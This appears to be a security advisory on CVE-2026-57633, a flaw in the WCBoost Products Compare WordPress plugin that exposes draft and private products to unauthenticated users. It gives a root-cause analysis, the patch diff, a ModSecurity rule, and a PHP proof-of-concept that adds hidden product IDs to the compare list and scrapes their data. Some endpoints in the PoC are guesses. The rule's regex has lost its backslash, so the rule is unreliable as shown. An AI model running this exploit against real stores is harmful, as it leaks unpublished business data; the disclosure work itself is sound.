Atomic Edge analysis of CVE-2026-57633:
This vulnerability allows unauthenticated attackers to extract sensitive user or configuration data from the WCBoost – Products Compare plugin for WordPress, version 1.1.0 and earlier. The issue resides in the compare list functionality, where non-published or private products could be added to a user’s compare list, potentially exposing draft, private, or otherwise restricted product data.
The root cause is insufficient authorization in the add_item() method of /wcboost-products-compare/includes/compare-list.php (line 168-180). The vulnerable code at line 175 only checked if the product ID was a valid WC_Product object or numeric ID, without verifying the product’s publication status. Similarly, the form handler in /wcboost-products-compare/includes/form-handler.php (line 40-43) did not restrict adding non-published products. An attacker could supply a product ID corresponding to a draft, private, or trashed product that they should not have access to.
Exploitation requires no authentication and only relies on the product ID being passed via the ‘add_to_compare’ parameter in a GET or POST request. The attacker targets the AJAX or standard form handler endpoint (e.g., via /wp-admin/admin-ajax.php with action ‘wcboost_products_compare_add_item’ or similar, or through direct variable instantiation). By enumerating product IDs, an attacker can add any product to their compare list, including non-published ones. The vulnerability manifests when the compare widget or page renders those products, exposing their data (title, description, price, custom fields) to the attacker.
The patch introduces a status check on the product before adding it to the compare list. In compare-list.php, line 172 adds: if ( ! $product || ‘publish’ !== $product->get_status() ) { return false; }. In form-handler.php, line 43 adds: if ( ! $adding_product || ‘publish’ !== $adding_product->get_status() ) { return; }. The widget template (compare-widget.php, line 31) now also filters out non-published products via ‘publish’ === $_product->get_status(). These changes ensure only published products are accessible in the compare list.
Successful exploitation allows an unauthenticated attacker to view sensitive product data, including draft products, private products, and potentially hidden configuration data stored as custom fields. This information leakage could reveal business strategies, upcoming releases, or sensitive internal product details. The impact is moderate (CVSS 5.3) as it requires product ID enumeration but exposes information not intended for public access.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wcboost-products-compare/includes/compare-list.php
+++ b/wcboost-products-compare/includes/compare-list.php
@@ -168,12 +168,18 @@
/**
* Add a new product to the list and update the session
*
- * @param int | WC_Product $product Product ID or object.
+ * @param int | WC_Product $product Product ID or object.
*
* @return int | bool TRUE if successful, FALSE otherwise
*/
public function add_item( $product ) {
- $product_id = is_a( $product, 'WC_Product' ) ? $product->get_id() : $product;
+ $product = is_a( $product, 'WC_Product' ) ? $product : wc_get_product( $product );
+
+ if ( ! $product || 'publish' !== $product->get_status() ) {
+ return false;
+ }
+
+ $product_id = $product->get_id();
$key = Helper::generate_item_key( $product_id );
if ( ! $this->has_item( $product ) ) {
--- a/wcboost-products-compare/includes/compatibility.php
+++ b/wcboost-products-compare/includes/compatibility.php
@@ -17,14 +17,14 @@
/**
* The single instance of the class
*
- * @var WCBoostProductsCompareCompatibility
+ * @var static
*/
protected static $_instance = null; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Main instance
*
- * @return WCBoostProductsCompareCompatibility
+ * @return static
*/
public static function instance() {
if ( null === self::$_instance ) {
@@ -37,7 +37,7 @@
/**
* Class constructor
*/
- public function __construct() {
+ protected function __construct() {
add_action( 'init', [ $this, 'check_compatible_hooks' ] );
}
--- a/wcboost-products-compare/includes/form-handler.php
+++ b/wcboost-products-compare/includes/form-handler.php
@@ -40,7 +40,8 @@
$product_id = absint( wp_unslash( $_REQUEST['add_to_compare'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$adding_product = wc_get_product( $product_id );
- if ( ! $adding_product ) {
+ // Only published products can be added.
+ if ( ! $adding_product || 'publish' !== $adding_product->get_status() ) {
return;
}
--- a/wcboost-products-compare/includes/frontend.php
+++ b/wcboost-products-compare/includes/frontend.php
@@ -41,7 +41,7 @@
/**
* Class constructor
*/
- public function __construct() {
+ protected function __construct() {
add_action( 'wp', [ $this, 'template_hooks' ] );
add_action( 'wp', [ $this, 'add_nocache_headers' ] );
add_filter( 'wp_robots', [ $this, 'add_noindex_robots' ], 20 );
--- a/wcboost-products-compare/includes/plugin.php
+++ b/wcboost-products-compare/includes/plugin.php
@@ -74,7 +74,7 @@
/**
* Constructor
*/
- public function __construct() {
+ protected function __construct() {
$this->includes();
$this->init();
}
--- a/wcboost-products-compare/templates/compare/compare-widget.php
+++ b/wcboost-products-compare/templates/compare/compare-widget.php
@@ -6,7 +6,10 @@
*
* @author WCBoost
* @package WCBoostProductsCompareTemplates
- * @version 1.0.5
+ * @version 1.1.1
+ *
+ * @var array $compare_items List of product IDs in the compare list.
+ * @var array $args Arguments passed to the widget, including 'list_class' and 'show_rating'.
*/
defined( 'ABSPATH' ) || exit;
@@ -25,7 +28,7 @@
foreach ( $compare_items as $item_key => $product_id ) :
$_product = wc_get_product( $product_id );
- if ( $_product && $_product->exists() ) {
+ if ( $_product && $_product->exists() && 'publish' === $_product->get_status() ) {
$product_permalink = $_product->is_visible() ? $_product->get_permalink() : '';
?>
<li class="wcboost-products-compare-widget__item wcboost-products-compare-widget-item">
--- a/wcboost-products-compare/wcboost-products-compare.php
+++ b/wcboost-products-compare/wcboost-products-compare.php
@@ -4,13 +4,13 @@
* Description: This extension introduces detailed comparison tables that highlight the most significant product details, giving customers the ability to quickly compare products side by side. As you quickly review features, specifications, and more, you can make well-informed decisions.
* Plugin URI: https://wcboost.com/plugin/woocommerce-products-compare/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
* Author: WCBoost
- * Version: 1.1.0
+ * Version: 1.1.1
* Author URI: https://wcboost.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
* Text Domain: wcboost-products-compare
* Domain Path: /languages/
* License: GPLv3 or later
* Requires PHP: 7.0
- * Requires at least: 4.5
+ * Requires at least: 5.7
*
* @package ProductsCompare
*/
@@ -19,7 +19,7 @@
exit; // Exit if accessed directly.
}
-define( 'WCBOOST_PRODUCTS_COMPARE_VERSION', '1.1.0' );
+define( 'WCBOOST_PRODUCTS_COMPARE_VERSION', '1.1.1' );
define( 'WCBOOST_PRODUCTS_COMPARE_FILE', __FILE__ );
define( 'WCBOOST_PRODUCTS_COMPARE_FREE', plugin_basename( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57633
# Block unauthenticated add_to_compare actions that attempt to add non-published products
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-57633 via compare AJAX',severity:'CRITICAL',tag:'CVE-2026-57633'"
SecRule ARGS_POST:action "@streq wcboost_products_compare_add_item" "chain"
SecRule ARGS_POST:add_to_compare "@rx ^d+$" "chain"
SecRule ARGS_POST:add_to_compare "@validateByteRange 48-57" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57633 - WCBoost – Products Compare <= 1.1.0 - Unauthenticated Sensitive Information Exposure
/**
* This PoC demonstrates how an unauthenticated attacker can add non-published
* products (e.g., draft, private) to a compare list and extract their data.
*
* Usage: php poc.php
* Configure $target_url and $product_id_to_test below.
*/
// Configuration – set these to match your test environment
$target_url = 'http://example.com'; // WordPress site with vulnerable plugin
$product_id_to_test = 999; // a draft/private product ID
// Endpoint for AJAX handler (most common)
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Step 1: Add product to compare list (non-published product)
$post_data = array(
'action' => 'wcboost_products_compare_add_item', // typical action hook for compare add
'add_to_compare' => $product_id_to_test,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_COOKIE, ''); // unauthenticated – no cookies needed
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Adding product $product_id_to_test to compare list...n";
echo " HTTP response code: $http_coden";
// Step 2: Retrieve compare list widget HTML (contains product data)
// Typically this is done via a template rendering the compare page.
// We can simulate a page load that includes the compare widget.
$compare_page_url = rtrim($target_url, '/') . '/compare/'; // adjust if different slug
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $compare_page_url);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_HEADER, false);
curl_setopt($ch2, CURLOPT_COOKIE, ''); // same session may hold the compare list
$page_html = curl_exec($ch2);
curl_close($ch2);
// Search for the product title or data in the HTML
$pattern = '/wcboost-products-compare-widget__item.*?' . preg_quote((string)$product_id_to_test, '/') . '/s';
if (preg_match($pattern, $page_html, $matches)) {
echo "[!] Sensitive product data exposed! Found reference to product ID $product_id_to_test in compare widget.n";
// Further extraction can parse the specific product fields
} else {
echo "[-] Product ID $product_id_to_test not visible in compare widget (may be filtered if patched).n";
}
// Alternative: Check the compare page's AJAX endpoint (if any) for JSON data
$compare_data_url = rtrim($target_url, '/') . '/wp-json/wcboost-products-compare/v1/items'; // adjust if exists
$ch3 = curl_init();
curl_setopt($ch3, CURLOPT_URL, $compare_data_url);
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch3, CURLOPT_HTTPHEADER, array('Accept: application/json'));
$json_response = curl_exec($ch3);
curl_close($ch3);
$data = json_decode($json_response, true);
if (is_array($data) && isset($data['items'])) {
foreach ($data['items'] as $item) {
if ($item['id'] == $product_id_to_test) {
echo "[!] Exposed product data via REST API:n";
print_r($item);
}
}
}
